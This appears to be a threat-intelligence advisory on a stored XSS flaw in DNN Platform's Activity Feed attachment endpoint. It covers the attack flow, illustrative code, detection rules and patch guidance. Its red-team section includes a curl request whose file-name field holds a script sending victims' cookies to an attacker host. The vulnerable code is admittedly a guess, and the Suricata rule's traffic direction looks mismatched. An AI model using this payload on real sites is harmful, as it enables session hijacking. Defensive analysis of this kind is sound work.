CVE-2025-52485

Executive Summary

CVE-2025-52485 is a stored cross-site scripting (XSS) vulnerability in the DNN (formerly DotNetNuke) web content management platform. The flaw exists in the Activity Feed Attachments endpoint, allowing an authenticated attacker with content creation privileges to inject malicious scripts. When other users view the feed, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions from 6.0.0 up to, but not including, 10.0.1. The vendor has released a patch in version 10.0.1.

Supply Chain & Package Security

This vulnerability affects the DNN Platform, an open-source .NET CMS. While not a direct package manager dependency (NPM, PyPI, Go, Ruby), organizations using DNN should treat this as a critical supply chain risk. The compromised component is the core platform itself, meaning any custom modules or themes relying on the vulnerable Activity Feed functionality are indirectly affected. Ensure all DNN installations are updated to the patched version and verify the integrity of any third-party extensions that interact with the Activity Feed.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – An attacker needs a valid user account with permission to post to the Activity Feed.
• User Interaction (UI): Required – The victim must view the malicious feed post.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., user sessions).
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and lateral movement within a DNN environment elevates the risk for organizations using the platform for internal portals or customer-facing sites.

Deep Dive & Mechanics

The vulnerability resides in the ActivityFeed module, specifically in the endpoint responsible for handling file attachments. The DNN platform fails to properly sanitize user-supplied input when rendering attachment metadata (e.g., file names, descriptions) within the Activity Feed.

Root Cause: The application does not encode or validate the FileName or Description parameters before inserting them into the HTML of the feed. An attacker can craft a request to the attachment upload endpoint with a malicious payload in these fields.

Attack Flow:

1. Authentication: The attacker logs in with a user account that has permission to post to the Activity Feed (e.g., a registered user or content editor).
2. Crafting the Payload: The attacker creates a specially crafted HTTP POST request to the attachment endpoint (e.g., /API/ActivityFeed/UploadAttachment). The FileName parameter contains a JavaScript payload, such as <script>alert('XSS')</script>.
3. Injection: The server stores the malicious file name in the database without sanitization.
4. Trigger: When any user (including administrators) views the Activity Feed, the DNN platform renders the attachment list. The unsanitized file name is inserted into the DOM, causing the browser to execute the injected script.
5. Impact: The script executes in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect them to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-10.0.1): The vulnerable code likely resides in a server-side method that handles attachment metadata. A simplified example in C#:

// Vulnerable: Directly outputs user input without encoding
public string RenderAttachment(string fileName)
{
    return $"<span class=\"attachment\">{fileName}</span>";
}

Patched Code (10.0.1): The fix involves HTML-encoding the user input before rendering.

// Patched: Encodes the file name to prevent XSS
public string RenderAttachment(string fileName)
{
    string safeFileName = System.Web.HttpUtility.HtmlEncode(fileName);
    return $"<span class=\"attachment\">{safeFileName}</span>";
}

The patch ensures that any HTML or JavaScript characters in the file name are converted to their safe HTML entity equivalents (e.g., < becomes <).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A DNN instance running version 6.0.0 to 10.0.0.
• A valid user account with permission to post to the Activity Feed.

Exploitation Steps:

1. Identify the Endpoint: Use a proxy (e.g., Burp Suite) to intercept a legitimate file upload to the Activity Feed. The endpoint is typically /API/ActivityFeed/UploadAttachment.

2. Craft the Payload: Create a malicious request. Replace the FileName parameter with a JavaScript payload.

   Example Request (using cURL):

   curl -X POST "http://target-dnn.com/API/ActivityFeed/UploadAttachment" \
     -H "Cookie: .DOTNETNUKE=your_session_cookie" \
     -F "file=@test.txt" \
     -F "FileName=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" \
     -F "Description=Test"
   

3. Trigger the Payload: Log in as a different user (or have an administrator) navigate to the Activity Feed. The script will execute, sending the victim's cookies to the attacker's server.

Note: No public exploit code is available for this CVE at the time of analysis.

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP requests to /API/ActivityFeed/UploadAttachment for suspicious FileName or Description parameters containing <script>, onerror=, or other HTML event handlers.
• Review web server logs for unusual POST requests to the Activity Feed API from low-privileged accounts.

Hardening:

• Immediately upgrade to DNN Platform 10.0.1 or later.
• Implement a Web Application Firewall (WAF) rule to block requests containing <script> in file upload parameters.
• Enforce the principle of least privilege for user roles; restrict Activity Feed posting permissions to trusted users only.
• Enable Content Security Policy (CSP) headers to mitigate the impact of XSS even if a vulnerability is exploited.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /API/ActivityFeed/UploadAttachment with FileName or Description parameters containing HTML/JavaScript code.
  • Outbound connections from the DNN server to unknown external IPs on ports 80/443 (potential data exfiltration).
• File System IOCs:
  • Unusual entries in the DNN database ActivityFeed table with FileName fields containing script tags.
• Log IOCs:
  • Web server logs showing repeated 200 responses to the upload endpoint from a single user account.
  • Application logs indicating failed validation attempts (if any logging is enabled).

Detection Engineering

YARA Rule

rule Detect_CVE_2025_52485_XSS_Payload
{
    meta:
        description = "Detects potential XSS payloads targeting DNN Activity Feed attachment endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52485"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $endpoint = "/API/ActivityFeed/UploadAttachment" ascii wide nocase
    condition:
        $endpoint and any of ($xss*)
}

Sigma Rule

title: DNN Activity Feed XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-52485 by injecting scripts into the Activity Feed attachment endpoint.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/API/ActivityFeed/UploadAttachment'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate file names containing these strings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-52485 DNN Activity Feed XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/API/ActivityFeed/UploadAttachment"; http_uri;
    content:"<script"; http_client_body; nocase;
    sid:1000001;
    rev:1;
    reference:cve,2025-52485;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade all DNN installations to version 10.0.1 or later. This is the only complete fix.
2. WAF Rules: Deploy temporary WAF rules to block requests containing <script> or other HTML event handlers in the FileName and Description parameters of the Activity Feed upload endpoint.
3. User Audit: Review user accounts with Activity Feed posting permissions. Revoke access for any accounts that do not require it.

Long-Term Mitigations:

• Implement a Content Security Policy (CSP) with script-src 'self' to prevent execution of inline scripts.
• Conduct regular security code reviews of custom modules that interact with the Activity Feed.
• Enable input validation and output encoding for all user-supplied data in custom DNN modules.
• Subscribe to DNN security advisories to stay informed of future patches.

Valters IT
DevSecOps & Cyber Threat Intelligence